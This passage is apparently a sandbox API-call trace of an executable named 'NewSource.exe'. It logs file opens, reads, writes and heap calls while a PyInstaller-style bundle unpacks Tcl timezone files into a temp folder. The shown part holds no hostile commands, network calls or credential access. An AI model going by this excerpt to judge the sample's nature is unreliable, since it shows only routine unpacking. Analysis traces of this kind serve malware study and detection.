[0038.456] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.456] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.456] CloseHandle (hObject=0x10c) returned 1 [0038.456] GetLastError () returned 0x0 [0038.456] SetLastError (dwErrCode=0x0) [0038.456] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.456] GetFileType (hFile=0x10c) returned 0x1 [0038.456] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.456] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.456] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.456] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.457] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.457] CloseHandle (hObject=0x10c) returned 1 [0038.457] GetLastError () returned 0x0 [0038.457] SetLastError (dwErrCode=0x0) [0038.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.457] GetFileType (hFile=0x10c) returned 0x1 [0038.457] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.457] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.457] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.457] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.457] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.457] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.457] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.457] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.457] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.457] CloseHandle (hObject=0x10c) returned 1 [0038.457] GetLastError () returned 0x0 [0038.457] SetLastError (dwErrCode=0x0) [0038.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Mendoza") returned 82 [0038.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Mendoza" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\mendoza"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.457] GetLastError () returned 0x2 [0038.458] SetLastError (dwErrCode=0x2) [0038.458] GetLastError () returned 0x2 [0038.458] SetLastError (dwErrCode=0x2) [0038.458] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Mendoza", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Mendoza", lpFilePart=0x0) returned 0x51 [0038.458] GetLastError () returned 0x2 [0038.458] SetLastError (dwErrCode=0x2) [0038.458] GetLastError () returned 0x2 [0038.458] SetLastError (dwErrCode=0x2) [0038.458] GetLastError () returned 0x2 [0038.458] SetLastError (dwErrCode=0x2) [0038.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Mendoza") returned 82 [0038.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Mendoza" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\mendoza"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.458] GetFileType (hFile=0x10c) returned 0x1 [0038.458] htonl (hostlong=0xfb070000) returned 0x7fb [0038.458] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.458] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7fb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7fb, lpOverlapped=0x0) returned 1 [0038.460] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.460] CloseHandle (hObject=0x10c) returned 1 [0038.461] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.461] htonl (hostlong=0x40000000) returned 0x40 [0038.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.461] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.461] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.461] GetFileType (hFile=0x10c) returned 0x1 [0038.461] htonl (hostlong=0x1b8d5800) returned 0x588d1b [0038.461] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d3d1b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.461] htonl (hostlong=0xb020000) returned 0x20b [0038.461] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20b) returned 0x550600 [0038.461] htonl (hostlong=0xb020000) returned 0x20b [0038.461] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.461] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.461] htonl (hostlong=0xf9070000) returned 0x7f9 [0038.461] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7f9) returned 0x55e278 [0038.461] htonl (hostlong=0xb020000) returned 0x20b [0038.461] htonl (hostlong=0xf9070000) returned 0x7f9 [0038.461] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.461] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.461] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.462] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.462] CloseHandle (hObject=0x10c) returned 1 [0038.462] GetLastError () returned 0x0 [0038.462] SetLastError (dwErrCode=0x0) [0038.462] GetLastError () returned 0x0 [0038.462] SetLastError (dwErrCode=0x0) [0038.462] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.462] GetFileType (hFile=0x10c) returned 0x1 [0038.462] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.462] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.462] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.462] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.462] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.462] CloseHandle (hObject=0x10c) returned 1 [0038.462] GetLastError () returned 0x0 [0038.462] SetLastError (dwErrCode=0x0) [0038.462] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.462] GetFileType (hFile=0x10c) returned 0x1 [0038.463] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.463] CloseHandle (hObject=0x10c) returned 1 [0038.463] GetLastError () returned 0x0 [0038.463] SetLastError (dwErrCode=0x0) [0038.463] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.463] GetFileType (hFile=0x10c) returned 0x1 [0038.463] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.463] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.463] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.463] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.463] CloseHandle (hObject=0x10c) returned 1 [0038.464] GetLastError () returned 0x0 [0038.464] SetLastError (dwErrCode=0x0) [0038.464] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.464] GetFileType (hFile=0x10c) returned 0x1 [0038.464] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.464] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.464] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.464] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.464] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.464] CloseHandle (hObject=0x10c) returned 1 [0038.464] GetLastError () returned 0x0 [0038.464] SetLastError (dwErrCode=0x0) [0038.464] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Rio_Gallegos") returned 87 [0038.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Rio_Gallegos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\rio_gallegos"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.464] GetLastError () returned 0x2 [0038.464] SetLastError (dwErrCode=0x2) [0038.464] GetLastError () returned 0x2 [0038.464] SetLastError (dwErrCode=0x2) [0038.465] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Rio_Gallegos", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Rio_Gallegos", lpFilePart=0x0) returned 0x56 [0038.465] GetLastError () returned 0x2 [0038.465] SetLastError (dwErrCode=0x2) [0038.465] GetLastError () returned 0x2 [0038.465] SetLastError (dwErrCode=0x2) [0038.465] GetLastError () returned 0x2 [0038.465] SetLastError (dwErrCode=0x2) [0038.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Rio_Gallegos") returned 87 [0038.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Rio_Gallegos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\rio_gallegos"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.465] GetFileType (hFile=0x10c) returned 0x1 [0038.465] htonl (hostlong=0xf9070000) returned 0x7f9 [0038.465] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.465] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7f9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7f9, lpOverlapped=0x0) returned 1 [0038.466] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.466] CloseHandle (hObject=0x10c) returned 1 [0038.467] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.467] htonl (hostlong=0x40000000) returned 0x40 [0038.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.468] GetFileType (hFile=0x10c) returned 0x1 [0038.468] htonl (hostlong=0x268f5800) returned 0x588f26 [0038.468] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d3f26, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.468] htonl (hostlong=0xfe010000) returned 0x1fe [0038.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fe) returned 0x550600 [0038.468] htonl (hostlong=0xfe010000) returned 0x1fe [0038.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.468] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.468] htonl (hostlong=0xb6070000) returned 0x7b6 [0038.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7b6) returned 0x55e278 [0038.468] htonl (hostlong=0xfe010000) returned 0x1fe [0038.468] htonl (hostlong=0xb6070000) returned 0x7b6 [0038.468] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.468] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.468] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.468] 